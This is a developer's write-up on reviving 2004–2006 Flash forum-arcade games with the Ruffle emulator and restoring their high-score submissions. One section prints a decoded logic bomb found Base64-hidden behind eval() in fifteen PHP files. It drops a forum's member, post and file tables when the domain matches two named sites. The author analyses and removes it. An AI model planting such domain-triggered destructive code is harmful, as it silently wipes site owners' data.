I found them in a folder called Games: seventy-four .tar archives, dated 2004 to 2006, each holding a small Flash game. They were built for ibProArcade—an add-on that let early-2000s web forums host an arcade. The forums are gone. Flash itself was killed off at the end of 2020, when browsers ripped out the plugin for good. So this was a folder of things that, by every normal measure, no longer run.
This is the story of making them run again—and giving them back the one feature that made a forum arcade an arcade: a high-score board that actually records your score.
01 The problem
A .swf file is Flash bytecode. Modern browsers can't touch it. The rescue tool is Ruffle, an open-source Flash emulator written in Rust and compiled to WebAssembly—it re-implements the Flash runtime so the old bytecode executes natively in the browser, no plugin involved. These games are ActionScript 1 and 2 from 2004–2006, which is squarely in Ruffle's sweet spot.
Getting them displayed was the easy 20%. I extracted every archive, parsed each game's original PHP config file for its real title, canvas size, and controls, and generated a manifest the front end reads. Within an afternoon there was a grid of 74 playable games.
The interesting problem wasn't playing the games. It was the button that said “Submit High Score.”
02 Resurrecting the high scores
Every game had a working-looking Submit High Score button. Clicking it did nothing. That made sense: these games were built to POST their score to a PHP script on the forum that hosted them—a server that has been offline since roughly 2007. The button still fires; its destination is a ghost.
To bring scores back I had to learn exactly how a 2005 Flash game submits one. Digging into the bytecode, two different mechanisms turned up:
- The older games call
getURL("index.php?act=Arcade&do=newscore", "_self", "POST")—a browser navigation that carries the score as form data. - The AS2 games use
LoadVars.send(...), which does the same thing a slightly different way.
Ruffle implements both by quietly building an HTML <form> and calling .submit() on it. That's the seam. Instead of letting that form navigate to a dead server, the site patches the browser's form-submit and window.open so it can catch the submission, read the gscore value out of it, and post it to a small local score API—which keeps a real leaderboard.
The interception worked in a synthetic test but did nothing in a real game. No error. No console output. The button simply had no effect.
The games submit to the target "_self"—the current tab. It turns out Ruffle silently refuses to navigate the current tab unless a flag called allowScriptAccess is switched on. With it off, the whole submission is dropped without a peep. The clue only appeared after turning Ruffle's log level up to debug:
// Ruffle, only at logLevel: "debug"
WARN SWF tried to open a URL, but opening URLs
in the current tab is prevented by script access
One line of config—allowScriptAccess: true—and every leaderboard in the collection came back to life.
The payoff: you play a game, hit its own decade-old submit button, and your score lands on a board with your initials on it. Sixty-one of the games do this; the rest never shipped a submit button, and the site says so rather than showing an empty board.
03 The thing hiding in the files
While reading through the game folders, one file looked wrong. Each of fifteen games carried a gamedata/index.php whose entire body was a single blob of Base64 handed to eval()—the classic shape of hidden code. Decoded, it was this:
switch($domain) { case 'teamwolfpack.org': case 'multitech-support.com': mysql_query("DROP TABLE ...members"); mysql_query("DROP TABLE ...forums"); mysql_query("DROP TABLE ...posts"); mysql_query("DROP TABLE ...files"); break; } echo("Dont Run Querys Ok");
It's a logic bomb. Installed on a forum, it connects to that forum's database and—only if the site's domain is one of two specific names—drops the tables holding its members, forums, posts, and files. It's an act of sabotage, aimed at two rival forums, smuggled inside “free” games so that whoever pirated and re-hosted the pack would unknowingly carry the bomb. All fifteen copies are byte-identical.
It's harmless here—this site never runs PHP, so the file is inert—but it's a vivid reminder of what “found” software actually is. For the public version I stripped all fifteen, along with every other server-side script in the collection.
04 Curating for the light of day
This collection is a warez-scene rip; the original readme even credits the person who ripped it. Making it something I could put my name on in public meant editing it down:
- The malware—all 15 logic-bomb files, plus every other server-side PHP script—removed.
- Unlicensed franchise games—the Mario, Zelda, Sonic, and Metal Slug knock-offs, and a couple that openly billed themselves as remakes of copyrighted titles—pulled out.
- What remained: 66 games that are either original or generic enough to stand on their own.
05 Designing the frame
These games are from 2004–2006, so the site is dressed as a personal arcade fan-page from exactly that era: a Windows-98 application window on a tiled starfield desktop, beveled everything, a scrolling marquee, a visitor counter, WordArt-style headings, and a “best viewed in 1024×768” badge. The goal was homage with restraint—the real signifiers of the period, executed with modern spacing, real responsive behavior, keyboard focus states, and reduced-motion support. Authentic, not chaotic.
The high-score board reads like an old CGI hi-score list; each game opens in its own draggable-looking window; the leaderboard sits beside the cabinet like it would have on the original forum. The nostalgia is the interface, but the craft underneath is meant to be current.
Every constraint of the source material—dead plugin, dead server, dodgy origin—became a design decision instead of a dead end.
06 Where the tactile bit goes
The arcade ticket wanted a tear. The interesting question wasn’t how to build one — it was where to put it, because a tear costs about a second and a half of deliberate effort. Spend that once and it’s a reward; spend it every time someone opens a game and it’s a turnstile between the player and 66 games.
So it went on the score claim, the rarest and most earned moment on the site. Beat the top score and a holographic ticket slides up with two glowing dots on its perforation. Drag across, the paper rips along a jagged seam, and the stub tears free and drops into a collection you keep.
The stub is literally the part of a ticket you tear off and keep. The metaphor was already sitting there — it just had to be attached to the right moment.
Two constraints held the whole time. The score commits the instant the game submits, exactly as it did before, so the tear is pure ceremony and can never be the reason a score goes missing. And the stub is claimable from the keyboard as well as by dragging, because a flourish that only works for mouse users isn’t finished.
07 What I took from it
The most interesting engineering was archaeological: you can't read the docs for a format nobody supports and a protocol nobody wrote down, so you read the bytecode, form a theory, and test it. The most interesting design question was tonal—how to make “deliberately dated” read as intentional and crafted rather than lazy or ironic. And the most interesting surprise was ethical: a reminder that preserving old software means looking honestly at what's inside it, not just whether it runs.